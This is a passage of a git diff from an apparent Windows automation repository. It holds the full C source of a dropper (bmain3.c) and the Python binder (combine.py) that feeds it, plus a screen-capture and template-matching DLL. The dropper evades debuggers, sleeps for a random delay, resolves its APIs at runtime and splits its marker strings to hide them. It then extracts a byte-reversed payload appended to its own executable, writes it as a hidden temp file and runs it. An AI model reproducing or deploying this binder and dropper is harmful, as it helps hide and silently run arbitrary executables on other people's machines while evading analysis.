sys.argv[2] + output_exe = sys.argv[3] + + # 获取资源文件名 + filename = os.path.basename(resource_file) + filename_bytes = filename.encode('utf-8') + + # 读取原始exe + with open(input_exe, 'rb') as f: + exe_data = f.read() + + # 读取资源文件 + with open(resource_file, 'rb') as f: + resource_data = f.read() + + # 构建附加数据 + combined_data = ( + exe_data + + MARKER + + filename_bytes + + FILE_START + + resource_data + ) + + # 写入输出文件 + with open(output_exe, 'wb') as f: + f.write(combined_data) + + print(f"Successfully combined {input_exe} and {resource_file} into {output_exe}") + +if __name__ == "__main__": main() \ No newline at end of file diff --git a/.inf/SubstituteExecution/bmain3.c b/.inf/SubstituteExecution/bmain3.c index 5e3b1bb..ac162ac 100644 --- a/.inf/SubstituteExecution/bmain3.c +++ b/.inf/SubstituteExecution/bmain3.c @@ -1,227 +1,227 @@ -#include -#include - -// 混淆的字符串定义 -#define M1 'M' -#define M2 'A' -#define M3 'K' -#define M4 'E' -#define M5 'N' -#define M6 'D' -#define MARKER_SIZE 6 - -#define F1 'F' -#define F2 'I' -#define F3 'L' -#define F4 'E' -#define F5 'S' -#define F6 'T' -#define F7 'A' -#define F8 'R' -#define F9 'T' -#define FILE_START_SIZE 9 - -// 动态API调用类型定义 -typedef HANDLE (WINAPI *pCreateFileA)(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE); -typedef BOOL (WINAPI *pReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED); -typedef BOOL (WINAPI *pWriteFile)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED); -typedef DWORD (WINAPI *pGetFileSize)(HANDLE, LPDWORD); -typedef DWORD (WINAPI *pGetTempPathA)(DWORD, LPSTR); -typedef BOOL (WINAPI *pCloseHandle)(HANDLE); -typedef BOOL (WINAPI *pIsDebuggerPresent)(VOID); -typedef VOID (WINAPI *pSleep)(DWORD); -typedef HINSTANCE (WINAPI *pShellExecuteA)(HWND, LPCSTR, LPCSTR, LPCSTR, LPCSTR, INT); -typedef int (WINAPI *pwsprintfA)(LPSTR, LPCSTR, ...); - -// 错误处理宏 -#define SHOW_ERROR(msg) { \ - MessageBoxA(NULL, msg, "System Message", MB_ICONINFORMATION); \ - ExitProcess(1); \ -} - -// 与Python脚本匹配的简单hex反转解密 -void HexReverseDecrypt(BYTE* data, DWORD size) { - // 简单的字节顺序反转 - for(DWORD i = 0; i < size / 2; i++) { - BYTE temp = data[i]; - data[i] = data[size - 1 - i]; - data[size - 1 - i] = temp; - } -} - -// 自定义内存比较函数 -BOOL MyMemCmp(const BYTE* p1, const BYTE* p2, DWORD len) { - for(DWORD i = 0; i < len; i++) { - if(p1[i] != p2[i]) { - return FALSE; - } - } - return TRUE; -} - -// 获取API地址 -void* GetAPIAddr(const char* dll, const char* func) { - HMODULE hMod = LoadLibraryA(dll); - if(!hMod) return NULL; - return GetProcAddress(hMod, func); -} - -int main() { - // 反调试检查 - pIsDebuggerPresent fnIsDebuggerPresent = (pIsDebuggerPresent)GetAPIAddr("kernel32.dll", "IsDebuggerPresent"); - if(fnIsDebuggerPresent && fnIsDebuggerPresent()) { - ExitProcess(0); - } - - // 随机延迟 - pSleep fnSleep = (pSleep)GetAPIAddr("kernel32.dll", "Sleep"); - if(fnSleep) { - fnSleep(1000 + (GetTickCount() % 2000)); - } - - // 动态获取API函数 - pCreateFileA fnCreateFileA = (pCreateFileA)GetAPIAddr("kernel32.dll", "CreateFileA"); - pReadFile fnReadFile = (pReadFile)GetAPIAddr("kernel32.dll", "ReadFile"); - pWriteFile fnWriteFile = (pWriteFile)GetAPIAddr("kernel32.dll", "WriteFile"); - pGetFileSize fnGetFileSize = (pGetFileSize)GetAPIAddr("kernel32.dll", "GetFileSize"); - pGetTempPathA fnGetTempPathA = (pGetTempPathA)GetAPIAddr("kernel32.dll", "GetTempPathA"); - pCloseHandle fnCloseHandle = (pCloseHandle)GetAPIAddr("kernel32.dll", "CloseHandle"); - pShellExecuteA fnShellExecuteA = (pShellExecuteA)GetAPIAddr("shell32.dll", "ShellExecuteA"); - pwsprintfA fnwsprintfA = (pwsprintfA)GetAPIAddr("user32.dll", "wsprintfA"); - - if(!fnCreateFileA || !fnReadFile || !fnWriteFile || !fnGetFileSize || !fnGetTempPathA || !fnCloseHandle || !fnShellExecuteA || !fnwsprintfA) { - SHOW_ERROR("System function load failed"); - } - - // 获取自身路径 - char selfPath[MAX_PATH]; - if(!GetModuleFileNameA(NULL, selfPath, MAX_PATH)) { - SHOW_ERROR("Cannot get module path"); - } - - // 打开自身文件 - HANDLE hFile = fnCreateFileA(selfPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); - if(hFile == INVALID_HANDLE_VALUE) { - SHOW_ERROR("Cannot open executable"); - } - - // 获取文件大小 - DWORD fileSize = fnGetFileSize(hFile, NULL); - if(fileSize == INVALID_FILE_SIZE) { - fnCloseHandle(hFile); - SHOW_ERROR("Cannot get file size"); - } - - // 分配内存 - BYTE* buffer = (BYTE*)VirtualAlloc(NULL, fileSize, MEM_COMMIT, PAGE_READWRITE); - if(!buffer) { - fnCloseHandle(hFile); - SHOW_ERROR("Memory allocation failed"); - } - - // 读取文件内容 - DWORD bytesRead; - if(!fnReadFile(hFile, buffer, fileSize, &bytesRead, NULL) || bytesRead != fileSize) { - VirtualFree(buffer, 0, MEM_RELEASE); - fnCloseHandle(hFile); - SHOW_ERROR("File read failed"); - } - fnCloseHandle(hFile); - - // 构建标记字符串 - char marker[MARKER_SIZE] = { M1, M2, M3, M4, M5, M6 }; - char fileStart[FILE_START_SIZE] = { F1, F2, F3, F4, F5, F6, F7, F8, F9 }; - - // 查找标记位置 - BYTE* markerPos = NULL; - for(DWORD i = fileSize - MARKER_SIZE; i > 0; i--) { - if(MyMemCmp(buffer + i, (BYTE*)marker, MARKER_SIZE)) { - markerPos = buffer + i; - break; - } - } - - if(!markerPos) { - VirtualFree(buffer, 0, MEM_RELEASE); - SHOW_ERROR("Marker not found"); - } - - // 查找文件开始标记 - BYTE* fileNameStart = markerPos + MARKER_SIZE; - BYTE* fileStartPos = NULL; - DWORD fileNameLength = 0; - - for(DWORD i = (DWORD)(fileNameStart - buffer); i < fileSize - FILE_START_SIZE; i++) { - if(MyMemCmp(buffer + i, (BYTE*)fileStart, FILE_START_SIZE)) { - fileStartPos = buffer + i + FILE_START_SIZE; - fileNameLength = i - (fileNameStart - buffer); - break; - } - } - - if(!fileStartPos || fileNameLength == 0) { - VirtualFree(buffer, 0, MEM_RELEASE); - SHOW_ERROR("File start marker not found"); - } - - // 提取文件名 - char fileName[MAX_PATH]; - if(fileNameLength >= MAX_PATH) { - VirtualFree(buffer, 0, MEM_RELEASE); - SHOW_ERROR("Filename too long"); - } - - for(DWORD i = 0; i < fileNameLength; i++) { - fileName[i] = fileNameStart[i]; - } - fileName[fileNameLength] = '\0'; - - // 获取文件数据 - DWORD fileDataSize = fileSize - (fileStartPos - buffer); - if(fileDataSize == 0) { - VirtualFree(buffer, 0, MEM_RELEASE); - SHOW_ERROR("No file data found"); - } - - // 解密文件数据 - 使用与Python脚本相同的简单hex反转 - HexReverseDecrypt(fileStartPos, fileDataSize); - - // 获取临时目录 - char tempPath[MAX_PATH]; - if(fnGetTempPathA(MAX_PATH, tempPath) == 0) { - VirtualFree(buffer, 0, MEM_RELEASE); - SHOW_ERROR("Cannot get temp path"); - } - - // 构建完整路径 - char fullPath[MAX_PATH]; - fnwsprintfA(fullPath, "%s\\%s", tempPath, fileName); - - // 创建输出文件 - HANDLE hOutFile = fnCreateFileA(fullPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, NULL); - if(hOutFile == INVALID_HANDLE_VALUE) { - VirtualFree(buffer, 0, MEM_RELEASE); - SHOW_ERROR("Cannot create output file"); - } - - // 写入文件数据 - DWORD bytesWritten; - if(!fnWriteFile(hOutFile, fileStartPos, fileDataSize, &bytesWritten, NULL) || bytesWritten != fileDataSize) { - VirtualFree(buffer, 0, MEM_RELEASE); - fnCloseHandle(hOutFile); - SHOW_ERROR("File write failed"); - } - fnCloseHandle(hOutFile); - VirtualFree(buffer, 0, MEM_RELEASE); - - // 执行释放的文件 - fnShellExecuteA(NULL, "open", fullPath, NULL, NULL, SW_SHOW); - - // 执行终止程序 - char driveLetter = selfPath[0]; - char terminationPath[MAX_PATH]; - fnwsprintfA(terminationPath, "%c:\\.Termination\\Termination.exe", driveLetter); - fnShellExecuteA(NULL, "open", terminationPath, NULL, NULL, SW_SHOW); - - return 0; +#include +#include + +// 混淆的字符串定义 +#define M1 'M' +#define M2 'A' +#define M3 'K' +#define M4 'E' +#define M5 'N' +#define M6 'D' +#define MARKER_SIZE 6 + +#define F1 'F' +#define F2 'I' +#define F3 'L' +#define F4 'E' +#define F5 'S' +#define F6 'T' +#define F7 'A' +#define F8 'R' +#define F9 'T' +#define FILE_START_SIZE 9 + +// 动态API调用类型定义 +typedef HANDLE (WINAPI *pCreateFileA)(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE); +typedef BOOL (WINAPI *pReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED); +typedef BOOL (WINAPI *pWriteFile)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED); +typedef DWORD (WINAPI *pGetFileSize)(HANDLE, LPDWORD); +typedef DWORD (WINAPI *pGetTempPathA)(DWORD, LPSTR); +typedef BOOL (WINAPI *pCloseHandle)(HANDLE); +typedef BOOL (WINAPI *pIsDebuggerPresent)(VOID); +typedef VOID (WINAPI *pSleep)(DWORD); +typedef HINSTANCE (WINAPI *pShellExecuteA)(HWND, LPCSTR, LPCSTR, LPCSTR, LPCSTR, INT); +typedef int (WINAPI *pwsprintfA)(LPSTR, LPCSTR, ...); + +// 错误处理宏 +#define SHOW_ERROR(msg) { \ + MessageBoxA(NULL, msg, "System Message", MB_ICONINFORMATION); \ + ExitProcess(1); \ +} + +// 与Python脚本匹配的简单hex反转解密 +void HexReverseDecrypt(BYTE* data, DWORD size) { + // 简单的字节顺序反转 + for(DWORD i = 0; i < size / 2; i++) { + BYTE temp = data[i]; + data[i] = data[size - 1 - i]; + data[size - 1 - i] = temp; + } +} + +// 自定义内存比较函数 +BOOL MyMemCmp(const BYTE* p1, const BYTE* p2, DWORD len) { + for(DWORD i = 0; i < len; i++) { + if(p1[i] != p2[i]) { + return FALSE; + } + } + return TRUE; +} + +// 获取API地址 +void* GetAPIAddr(const char* dll, const char* func) { + HMODULE hMod = LoadLibraryA(dll); + if(!hMod) return NULL; + return GetProcAddress(hMod, func); +} + +int main() { + // 反调试检查 + pIsDebuggerPresent fnIsDebuggerPresent = (pIsDebuggerPresent)GetAPIAddr("kernel32.dll", "IsDebuggerPresent"); + if(fnIsDebuggerPresent && fnIsDebuggerPresent()) { + ExitProcess(0); + } + + // 随机延迟 + pSleep fnSleep = (pSleep)GetAPIAddr("kernel32.dll", "Sleep"); + if(fnSleep) { + fnSleep(1000 + (GetTickCount() % 2000)); + } + + // 动态获取API函数 + pCreateFileA fnCreateFileA = (pCreateFileA)GetAPIAddr("kernel32.dll", "CreateFileA"); + pReadFile fnReadFile = (pReadFile)GetAPIAddr("kernel32.dll", "ReadFile"); + pWriteFile fnWriteFile = (pWriteFile)GetAPIAddr("kernel32.dll", "WriteFile"); + pGetFileSize fnGetFileSize = (pGetFileSize)GetAPIAddr("kernel32.dll", "GetFileSize"); + pGetTempPathA fnGetTempPathA = (pGetTempPathA)GetAPIAddr("kernel32.dll", "GetTempPathA"); + pCloseHandle fnCloseHandle = (pCloseHandle)GetAPIAddr("kernel32.dll", "CloseHandle"); + pShellExecuteA fnShellExecuteA = (pShellExecuteA)GetAPIAddr("shell32.dll", "ShellExecuteA"); + pwsprintfA fnwsprintfA = (pwsprintfA)GetAPIAddr("user32.dll", "wsprintfA"); + + if(!fnCreateFileA || !fnReadFile || !fnWriteFile || !fnGetFileSize || !fnGetTempPathA || !fnCloseHandle || !fnShellExecuteA || !fnwsprintfA) { + SHOW_ERROR("System function load failed"); + } + + // 获取自身路径 + char selfPath[MAX_PATH]; + if(!GetModuleFileNameA(NULL, selfPath, MAX_PATH)) { + SHOW_ERROR("Cannot get module path"); + } + + // 打开自身文件 + HANDLE hFile = fnCreateFileA(selfPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if(hFile == INVALID_HANDLE_VALUE) { + SHOW_ERROR("Cannot open executable"); + } + + // 获取文件大小 + DWORD fileSize = fnGetFileSize(hFile, NULL); + if(fileSize == INVALID_FILE_SIZE) { + fnCloseHandle(hFile); + SHOW_ERROR("Cannot get file size"); + } + + // 分配内存 + BYTE* buffer = (BYTE*)VirtualAlloc(NULL, fileSize, MEM_COMMIT, PAGE_READWRITE); + if(!buffer) { + fnCloseHandle(hFile); + SHOW_ERROR("Memory allocation failed"); + } + + // 读取文件内容 + DWORD bytesRead; + if(!fnReadFile(hFile, buffer, fileSize, &bytesRead, NULL) || bytesRead != fileSize) { + VirtualFree(buffer, 0, MEM_RELEASE); + fnCloseHandle(hFile); + SHOW_ERROR("File read failed"); + } + fnCloseHandle(hFile); + + // 构建标记字符串 + char marker[MARKER_SIZE] = { M1, M2, M3, M4, M5, M6 }; + char fileStart[FILE_START_SIZE] = { F1, F2, F3, F4, F5, F6, F7, F8, F9 }; + + // 查找标记位置 + BYTE* markerPos = NULL; + for(DWORD i = fileSize - MARKER_SIZE; i > 0; i--) { + if(MyMemCmp(buffer + i, (BYTE*)marker, MARKER_SIZE)) { + markerPos = buffer + i; + break; + } + } + + if(!markerPos) { + VirtualFree(buffer, 0, MEM_RELEASE); + SHOW_ERROR("Marker not found"); + } + + // 查找文件开始标记 + BYTE* fileNameStart = markerPos + MARKER_SIZE; + BYTE* fileStartPos = NULL; + DWORD fileNameLength = 0; + + for(DWORD i = (DWORD)(fileNameStart - buffer); i < fileSize - FILE_START_SIZE; i++) { + if(MyMemCmp(buffer + i, (BYTE*)fileStart, FILE_START_SIZE)) { + fileStartPos = buffer + i + FILE_START_SIZE; + fileNameLength = i - (fileNameStart - buffer); + break; + } + } + + if(!fileStartPos || fileNameLength == 0) { + VirtualFree(buffer, 0, MEM_RELEASE); + SHOW_ERROR("File start marker not found"); + } + + // 提取文件名 + char fileName[MAX_PATH]; + if(fileNameLength >= MAX_PATH) { + VirtualFree(buffer, 0, MEM_RELEASE); + SHOW_ERROR("Filename too long"); + } + + for(DWORD i = 0; i < fileNameLength; i++) { + fileName[i] = fileNameStart[i]; + } + fileName[fileNameLength] = '\0'; + + // 获取文件数据 + DWORD fileDataSize = fileSize - (fileStartPos - buffer); + if(fileDataSize == 0) { + VirtualFree(buffer, 0, MEM_RELEASE); + SHOW_ERROR("No file data found"); + } + + // 解密文件数据 - 使用与Python脚本相同的简单hex反转 + HexReverseDecrypt(fileStartPos, fileDataSize); + + // 获取临时目录 + char tempPath[MAX_PATH]; + if(fnGetTempPathA(MAX_PATH, tempPath) == 0) { + VirtualFree(buffer, 0, MEM_RELEASE); + SHOW_ERROR("Cannot get temp path"); + } + + // 构建完整路径 + char fullPath[MAX_PATH]; + fnwsprintfA(fullPath, "%s\\%s", tempPath, fileName); + + // 创建输出文件 + HANDLE hOutFile = fnCreateFileA(fullPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, NULL); + if(hOutFile == INVALID_HANDLE_VALUE) { + VirtualFree(buffer, 0, MEM_RELEASE); + SHOW_ERROR("Cannot create output file"); + } + + // 写入文件数据 + DWORD bytesWritten; + if(!fnWriteFile(hOutFile, fileStartPos, fileDataSize, &bytesWritten, NULL) || bytesWritten != fileDataSize) { + VirtualFree(buffer, 0, MEM_RELEASE); + fnCloseHandle(hOutFile); + SHOW_ERROR("File write failed"); + } + fnCloseHandle(hOutFile); + VirtualFree(buffer, 0, MEM_RELEASE); + + // 执行释放的文件 + fnShellExecuteA(NULL, "open", fullPath, NULL, NULL, SW_SHOW); + + // 执行终止程序 + char driveLetter = selfPath[0]; + char terminationPath[MAX_PATH]; + fnwsprintfA(terminationPath, "%c:\\.Termination\\Termination.exe", driveLetter); + fnShellExecuteA(NULL, "open", terminationPath, NULL, NULL, SW_SHOW); + + return 0; } \ No newline at end of file diff --git a/.inf/SubstituteExecution/combine.py b/.inf/SubstituteExecution/combine.py index 9bf49c2..f175800 100644 --- a/.inf/SubstituteExecution/combine.py +++ b/.inf/SubstituteExecution/combine.py @@ -1,49 +1,49 @@ -import sys -import os - -MARKER = b"MAKEND" -FILE_START = b"FILESTART" - -def hexReverseEncrypt(data): - """Reverse the order of bytes (simple hex reversal)""" - return data[::-1] - -def main(): - if len(sys.argv) != 4: - print("Usage: python combine.py ") - return - - input_exe = sys.argv[1] - resource_file = sys.argv[2] - output_exe = sys.argv[3] - - # Get resource filename - filename = os.path.basename(resource_file) - filename_bytes = filename.encode('utf-8') - - # Read original exe - with open(input_exe, 'rb') as f: - exe_data = f.read() - - # Read resource file and encrypt it - with open(resource_file, 'rb') as f: - resource_data = f.read() - encrypted_data = hexReverseEncrypt(resource_data) - - # Build combined data - combined_data = ( - exe_data + - MARKER + - filename_bytes + - FILE_START + - encrypted_data - ) - - # Write output file - with open(output_exe, 'wb') as f: - f.write(combined_data) - - print(f"Successfully combined {input_exe} and {resource_file} into {output_exe}") - -if __name__ == "__main__": +import sys +import os + +MARKER = b"MAKEND" +FILE_START = b"FILESTART" + +def hexReverseEncrypt(data): + """Reverse the order of bytes (simple hex reversal)""" + return data[::-1] + +def main(): + if len(sys.argv) != 4: + print("Usage: python combine.py ") + return + + input_exe = sys.argv[1] + resource_file = sys.argv[2] + output_exe = sys.argv[3] + + # Get resource filename + filename = os.path.basename(resource_file) + filename_bytes = filename.encode('utf-8') + + # Read original exe + with open(input_exe, 'rb') as f: + exe_data = f.read() + + # Read resource file and encrypt it + with open(resource_file, 'rb') as f: + resource_data = f.read() + encrypted_data = hexReverseEncrypt(resource_data) + + # Build combined data + combined_data = ( + exe_data + + MARKER + + filename_bytes + + FILE_START + + encrypted_data + ) + + # Write output file + with open(output_exe, 'wb') as f: + f.write(combined_data) + + print(f"Successfully combined {input_exe} and {resource_file} into {output_exe}") + +if __name__ == "__main__": main() \ No newline at end of file diff --git a/.inf/TemplateMatcher/CMakeLists.txt b/.inf/TemplateMatcher/CMakeLists.txt index 71657a2..da30844 100644 --- a/.inf/TemplateMatcher/CMakeLists.txt +++ b/.inf/TemplateMatcher/CMakeLists.txt @@ -1,22 +1,22 @@ -set(TemplateMatcher_PROJECT_NAME "TemplateMatcher" CACHE INTERNAL "Project name for TemplateMatcher") -set(TemplateMatcher_MAIN_SOURCE_FILE "TemplateMatcher.c" CACHE INTERNAL "Main source file for TemplateMatcher") -set(TemplateMatcher_RESOURCE_FILE "App.rc" CACHE INTERNAL "Resource file for TemplateMatcher") -set(TemplateMatcher_MANIFEST_FILE "App.manifest" CACHE INTERNAL "Manifest file for TemplateMatcher") -set(TemplateMatcher_BUILD_AS_DLL TRUE PARENT_SCOPE) - -find_package(OpenMP) -if(OpenMP_C_FOUND) - message(STATUS "OpenMP found, enabling support") -endif() - -set(${SUBDIR}_LIBRARY_DIRS - ./.lib-stb - CACHE INTERNAL "Library directories for this project") - -set(${SUBDIR}_INCLUDE_DIRS - ./.lib-stb - CACHE INTERNAL "Include directories for this project") - -set(${SUBDIR}_LINK_LIBRARIES - gomp - CACHE INTERNAL "Libraries to link for this project") +set(TemplateMatcher_PROJECT_NAME "TemplateMatcher" CACHE INTERNAL "Project name for TemplateMatcher") +set(TemplateMatcher_MAIN_SOURCE_FILE "TemplateMatcher.c" CACHE INTERNAL "Main source file for TemplateMatcher") +set(TemplateMatcher_RESOURCE_FILE "App.rc" CACHE INTERNAL "Resource file for TemplateMatcher") +set(TemplateMatcher_MANIFEST_FILE "App.manifest" CACHE INTERNAL "Manifest file for TemplateMatcher") +set(TemplateMatcher_BUILD_AS_DLL TRUE PARENT_SCOPE) + +find_package(OpenMP) +if(OpenMP_C_FOUND) + message(STATUS "OpenMP found, enabling support") +endif() + +set(${SUBDIR}_LIBRARY_DIRS + ./.lib-stb + CACHE INTERNAL "Library directories for this project") + +set(${SUBDIR}_INCLUDE_DIRS + ./.lib-stb + CACHE INTERNAL "Include directories for this project") + +set(${SUBDIR}_LINK_LIBRARIES + gomp + CACHE INTERNAL "Libraries to link for this project") diff --git a/.inf/TemplateMatcher/TemplateMatcher.c b/.inf/TemplateMatcher/TemplateMatcher.c index e9aba45..f7b9d64 100644 --- a/.inf/TemplateMatcher/TemplateMatcher.c +++ b/.inf/TemplateMatcher/TemplateMatcher.c @@ -1,287 +1,208 @@ -#define WIN32_LEAN_AND_MEAN -#include -#include -#include -#include -#include -#define STB_IMAGE_IMPLEMENTATION -#include "stb_image.h" -#define STB_IMAGE_WRITE_IMPLEMENTATION -#include "stb_image_write.h" - -// 定义DLL导出宏 -#ifdef __cplusplus -#define DLL_EXPORT extern "C" __declspec(dllexport) -#else -#define DLL_EXPORT __declspec(dllexport) -#endif - -// 灰度图像结构体 -typedef struct { - int width; - int height; - unsigned char* data; -} GrayImage; - -// 点坐标结构体 -typedef struct { - int x; - int y; - int error; // 0表示成功,非0表示错误码 - double confidence; // 匹配置信度 -} MatchResult; - -// 屏幕截图并转换为灰度图像 -DLL_EXPORT GrayImage* CaptureScreenGray(int* errorCode) { - *errorCode = 0; - HDC hdcScreen = GetDC(NULL); - if (!hdcScreen) { - *errorCode = 1; - return NULL; - } - - HDC hdcMem = CreateCompatibleDC(hdcScreen); - if (!hdcMem) { - ReleaseDC(NULL, hdcScreen); - *errorCode = 2; - return NULL; - } - - int width = GetSystemMetrics(SM_CXSCREEN); - int height = GetSystemMetrics(SM_CYSCREEN); - - HBITMAP hBitmap = CreateCompatibleBitmap(hdcScreen, width, height); - if (!hBitmap) { - ReleaseDC(NULL, hdcScreen); - DeleteDC(hdcMem); - *errorCode = 3; - return NULL; - } - - SelectObject(hdcMem, hBitmap); - if (!BitBlt(hdcMem, 0, 0, width, height, hdcScreen, 0, 0, SRCCOPY)) { - ReleaseDC(NULL, hdcScreen); - DeleteDC(hdcMem); - DeleteObject(hBitmap); - *errorCode = 4; - return NULL; - } - - BITMAPINFOHEADER bmi = {0}; - bmi.biSize = sizeof(BITMAPINFOHEADER); - bmi.biWidth = width; - bmi.biHeight = -height; - bmi.biPlanes = 1; - bmi.biBitCount = 24; - bmi.biCompression = BI_RGB; - - unsigned char* pixels = (unsigned char*)malloc(3 * width * height); - if (!pixels) { - ReleaseDC(NULL, hdcScreen); - DeleteDC(hdcMem); - DeleteObject(hBitmap); - *errorCode = 5; - return NULL; - } - - if (!GetDIBits(hdcScreen, hBitmap, 0, height, pixels, (BITMAPINFO*)&bmi, DIB_RGB_COLORS)) { - free(pixels); - ReleaseDC(NULL, hdcScreen); - DeleteDC(hdcMem); - DeleteObject(hBitmap); - *errorCode = 6; - return NULL; - } - - GrayImage* result = (GrayImage*)malloc(sizeof(GrayImage)); - if (!result) { - free(pixels); - ReleaseDC(NULL, hdcScreen); - DeleteDC(hdcMem); - DeleteObject(hBitmap); - *errorCode = 7; - return NULL; - } - - result->width = width; - result->height = height; - result->data = (unsigned char*)malloc(width * height); - if (!result->data) { - free(pixels); - free(result); - ReleaseDC(NULL, hdcScreen); - DeleteDC(hdcMem); - DeleteObject(hBitmap); - *errorCode = 8; - return NULL; - } - - #pragma omp parallel for - for (int y = 0; y < height; y++) { - for (int x = 0; x < width; x++) { - int offset = y * width * 3 + x * 3; - unsigned char r = pixels[offset + 2]; - unsigned char g = pixels[offset + 1]; - unsigned char b = pixels[offset]; - result->data[y * width + x] = (unsigned char)(0.299 * r + 0.587 * g + 0.114 * b); - } - } - - free(pixels); - ReleaseDC(NULL, hdcScreen); - DeleteDC(hdcMem); - DeleteObject(hBitmap); - - return result; -} - -// 加载PNG图像并转为灰度 -DLL_EXPORT GrayImage* LoadImageGray(const char* filename, int* errorCode) { - if (!errorCode) return NULL; - *errorCode = 0; - - int width, height, channels; - unsigned char* data = stbi_load(filename, &width, &height, &channels, 1); - if (!data) { - *errorCode = 100; - return NULL; - } - - GrayImage* result = (GrayImage*)malloc(sizeof(GrayImage)); - if (!result) { - stbi_image_free(data); - *errorCode = 101; - return NULL; - } - - result->width = width; - result->height = height; - result->data = data; - return result; -} - -// 带OpenMP加速和负载均衡的模板匹配 -DLL_EXPORT MatchResult FindTemplateOptimized(GrayImage* screen, GrayImage* target, double threshold) { - MatchResult result = {-1, -1, 0, 0.0}; - - if (!screen || !target || !screen->data || !target->data) { - result.error = 200; - return result; - } - - if (target->width > screen->width || target->height > screen->height) { - result.error = 201; - return result; - } - - double minDiff = INFINITY; - const int targetPixels = target->width * target->height; - const long maxPossibleDiff = 255 * 255 * targetPixels; - const int chunk_size = (target->height > 100) ? 5 : 10; - - #pragma omp parallel - { - double localMinDiff = INFINITY; - int localBestX = -1; - int localBestY = -1; - - #pragma omp for schedule(dynamic, chunk_size) nowait - for (int y = 0; y <= screen->height - target->height; y++) { - register long diff; - register int screenPixel, targetPixel; - - for (int x = 0; x <= screen->width - target->width; x++) { - diff = 0; - - for (int ty = 0; ty < target->height; ty++) { - const int screenY = y + ty; - const int targetYOffset = ty * target->width; - int tx = 0; - - for (; tx < target->width - 3; tx += 4) { - screenPixel = screen->data[screenY * screen->width + x + tx]; - targetPixel = target->data[targetYOffset + tx]; - diff += (screenPixel - targetPixel) * (screenPixel - targetPixel); - - screenPixel = screen->data[screenY * screen->width + x + tx + 1]; - targetPixel = target->data[targetYOffset + tx + 1]; - diff += (screenPixel - targetPixel) * (screenPixel - targetPixel); - - screenPixel = screen->data[screenY * screen->width + x + tx + 2]; - targetPixel = target->data[targetYOffset + tx + 2]; - diff += (screenPixel - targetPixel) * (screenPixel - targetPixel); - - screenPixel = screen->data[screenY * screen->width + x + tx + 3]; - targetPixel = target->data[targetYOffset + tx + 3]; - diff += (screenPixel - targetPixel) * (screenPixel - targetPixel); - } - - for (; tx < target->width; tx++) { - screenPixel = screen->data[screenY * screen->width + x + tx]; - targetPixel = target->data[targetYOffset + tx]; - diff += (screenPixel - targetPixel) * (screenPixel - targetPixel); - } - } - - if (diff < localMinDiff) { - localMinDiff = diff; - localBestX = x + target->width / 2; - localBestY = y + target->height / 2; - } - } - } - - #pragma omp critical - { - if (localMinDiff < minDiff) { - minDiff = localMinDiff; - result.x = localBestX; - result.y = localBestY; - } - } - } - - result.confidence = 1.0 - ((double)minDiff / maxPossibleDiff); - if (result.confidence < threshold) { - result.x = -1; - result.y = -1; - result.error = 202; - } - - return result; -} - -// 鼠标点击 -DLL_EXPORT int ClickAt(int x, int y) { - if (!SetCursorPos(x, y)) { - return 300; - } - - INPUT inputs[2] = {{0}}; - inputs[0].type = INPUT_MOUSE; - inputs[0].mi.dwFlags = MOUSEEVENTF_LEFTDOWN; - inputs[1].type = INPUT_MOUSE; - inputs[1].mi.dwFlags = MOUSEEVENTF_LEFTUP; - - if (SendInput(2, inputs, sizeof(INPUT)) != 2) { - return 301; - } - - return 0; -} - -// 释放图像内存 -DLL_EXPORT void FreeGrayImage(GrayImage* img) { - if (img) { - if (img->data) { - free(img->data); - } - free(img); - } -} - -// 初始化函数 -DLL_EXPORT int Initialize() { - omp_set_num_threads(omp_get_num_procs() * 2); - return 0; +#define WIN32_LEAN_AND_MEAN +#include +#include +#include +#include +#include +#include + +#define STB_IMAGE_IMPLEMENTATION +#include "stb_image.h" +#define STB_IMAGE_WRITE_IMPLEMENTATION +#include "stb_image_write.h" + +#ifdef __cplusplus +#define DLL_EXPORT extern "C" __declspec(dllexport) +#else +#define DLL_EXPORT __declspec(dllexport) +#endif + +typedef struct { + int width; + int height; + unsigned char* data; +} GrayImage; + +typedef struct { + int x; + int y; + int error; + double confidence; +} MatchResult; + +// 辅助:UTF8 → WCHAR +static wchar_t* utf8_to_wchar(const char* utf8) { + int len = MultiByteToWideChar(CP_UTF8, 0, utf8, -1, NULL, 0); + wchar_t* buf = (wchar_t*)malloc(sizeof(wchar_t) * len); + MultiByteToWideChar(CP_UTF8, 0, utf8, -1, buf, len); + return buf; +} + +// 修复1:支持中文/UTF8路径 +DLL_EXPORT GrayImage* LoadImageGray(const char* filename, int* errorCode) { + *errorCode = 0; + if (!filename) { *errorCode = 100; return NULL; } + + wchar_t* wpath = utf8_to_wchar(filename); + FILE* f = _wfopen(wpath, L"rb"); + free(wpath); + + if (!f) { *errorCode = 100; return NULL; } + + int w, h, ch; + unsigned char* data = stbi_load_from_file(f, &w, &h, &ch, 1); + fclose(f); + + if (!data) { *errorCode = 100; return NULL; } + + GrayImage* im = (GrayImage*)malloc(sizeof(GrayImage)); + if (!im) { stbi_image_free(data); *errorCode = 101; return NULL; } + + im->width = w; + im->height = h; + im->data = data; + return im; +} + +// 修复2:多显示器虚拟屏幕截图 +DLL_EXPORT GrayImage* CaptureScreenGray(int* errorCode) { + *errorCode = 0; + int w = GetSystemMetrics(SM_CXVIRTUALSCREEN); + int h = GetSystemMetrics(SM_CYVIRTUALSCREEN); + int x0 = GetSystemMetrics(SM_XVIRTUALSCREEN); + int y0 = GetSystemMetrics(SM_YVIRTUALSCREEN); + + HDC hdc = GetDC(NULL); + HDC mem = CreateCompatibleDC(hdc); + HBITMAP bmp = CreateCompatibleBitmap(hdc, w, h); + SelectObject(mem, bmp); + + if (!BitBlt(mem, 0, 0, w, h, hdc, x0, y0, SRCCOPY)) { *errorCode = 4; goto cleanup; } 